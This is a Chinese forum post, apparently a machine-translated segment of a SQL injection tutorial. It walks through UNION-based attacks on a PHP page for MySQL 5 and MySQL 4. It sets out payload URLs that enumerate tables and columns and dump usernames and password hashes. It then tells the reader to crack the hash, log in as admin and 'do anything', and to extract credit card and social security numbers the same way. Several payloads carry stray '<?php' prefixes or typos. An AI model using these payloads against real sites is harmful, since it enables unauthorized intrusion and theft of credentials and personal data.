51Testing软件测试论坛

 找回密码
 (注-册)加入51Testing

QQ登录

只需一步,快速开始

微信登录,快人一步

查看: 1267|回复: 0
打印 上一主题 下一主题

mysql注入3

[复制链接]

该用户从未签到

跳转到指定楼层
1#
发表于 2019-2-1 15:48:43 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
#0x05.e~MySQL 5或以上注入
在这里,我将向您展示如何访问运行MySQL 5或更高版本的服务器中的数据。
你使用url参数中的@@版本得到MySQL版本5.0.27标准。 版本5中的MySQL有一个名为information_schema的有用函数。 这是保存有关DB服务器中存在的表和列的信息的表。 也就是说,它包含站点的所有表和列的名称。
要获取表格列表,我们使用:
table_name from information_schema.tables
要获取列列表,我们使用:
column_name from information_schema.columns
因此,我们在示例中获取表列表的查询将是:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+table_name,2+FROM+information_schema.tables/*  
是的,如果您在查找版本时必须使用unhex(hex()),则必须执行以下操作:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+unhex(hex(table_name)),2+FROM+information_schema.tables/*
这将列出DB中存在的所有表。 出于我们的目的,我们将搜索包含用户和密码信息的表。 所以我们用这些信息查看可能的表格。 你甚至可以写下表名以供进一步参考和使用。 对于我的示例,我将使用tbluser作为包含用户和密码的表。
同样,要获取列列表,我们将查询为:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM information_schema.columns/*  
这将返回数据库服务器中存在的所有列。 现在从这个列表中,我们将查找用户名和密码的可能列。 对于我的注射,有两列保存这些信息。 它们分别是用户名和密码。 这就是我想要的专栏。 你必须搜索并检查列,直到你没有错误。
或者,要查找特定表中的列,您可以执行以下操作:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+column_name,2+FROM+information_schema.columns+WHERE+table_name='tbluser'  
这将显示表tbluser中的列。 但这可能无法始终基于PHP.INI,所以六角形。
让我告诉你我是如何知道上面两列属于表tbluser的。 现在让我展示如何显示存储在DB中的用户名和密码。
有一个名为concat()的函数允许我连接两列并在页面上显示。 我也将以十六进制形式使用分号。 它的十六进制值是0x3a(在开始时为零而不是字母o。)
我做的是:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*  
这给了我如下的用户名和密码:
admin:9F14974D57DE204E37C11AEAC3EE4940
这里密码是哈希的,在这种情况下,它是MD5。 现在你需要得到像hashcat,passwordpro(等)一样的哈希破解程序并破解哈希。 哈希值可能与SHA1,MD5等不同。或者有时可能会在页面上显示明文密码。 在这种情况下,当我破解时,我得到密码为sam207。
现在你进入管理员登录页面并以管理员身份登录。 然后你可以做任何你想做的事。 这就是MySQL版本5的全部内容。
#0x05.f~MySQL版本4注入
现在说你的受害者有MySQL版本4.那么你将无法获得MySQL版本5中的表名和列名,因为它缺乏对information_schema.tables和information_schema.columns的支持。
所以现在你必须猜测表名和列名,直到你没有得到错误。 此外,如果MySQL版本低于5,您可能必须依赖显示的运气和错误消息。有时错误将为您提供表名称和列名称,并让您有一些想法猜测正确的表和列名称 ..说,错误报告错误中的xenu_article ..所以,你知道xenu_是表名中使用的前缀...
无论如何,让我们去MySQL版本4注入...
例如,你会这样做:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+user/*  
在这里,我猜测表名为user。 但是这给了我错误,因为DB上没有名称user的表。 现在我继续猜测表名,直到我没有得到错误。
当我将表名作为tbluser时,页面正常加载。 所以我开始知道表tbluser存在。
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+1,2+FROM+tbluser/*  
页面正常加载。 现在再次你必须猜测tbluser表中存在的列名。
我做了类似下面的事情:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+user_name,2+FRO+tbluser/*
//这给了我错误,所以没有这个名字的专栏。
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+username,2+FROM+tbluser/*      
//它正常加载页面以及表中的用户名。
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+pass,2+FROM tbluser/*
//它的错误再次表明tbluser中不存在列传递。
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+password,2+FROM+tbluser/*     
//通常使用密码哈希(或明文密码)加载的页面。
现在你可以这样做:
<?phpsite.com/article.php?id=5+UNION+ALL+SELECT+concat(username,0x3a,password),2+FROM+tbluser/*  
这反馈给我:
admin:9F14974D57DE204E37C11AEAC3EE4940
现在我只需要登录该网站并做任何我想做的事情。
您可能尝试的几个表名称是:user(s),table_user(s),tbluser(s),tbladmin(s),admin(s),members(等)等。
如前所述,请务必查看错误,因为有时他们会为我们提供表名和列名错误...
如果数据库成立,你可以尝试这些方法以获得各种数据,例如信用卡号,社会保险号等等。 您需要做的就是找出列并将它们显示在易受攻击的页面上。 这就是用于访问秘密数据的注入。

分享到:  QQ好友和群QQ好友和群 QQ空间QQ空间 腾讯微博腾讯微博 腾讯朋友腾讯朋友
收藏收藏
回复

使用道具 举报

本版积分规则

关闭

站长推荐上一条 /1 下一条

小黑屋|手机版|Archiver|51Testing软件测试网 ( 沪ICP备05003035号 关于我们

GMT+8, 2024-5-3 06:07 , Processed in 0.060859 second(s), 23 queries .

Powered by Discuz! X3.2

© 2001-2024 Comsenz Inc.

快速回复 返回顶部 返回列表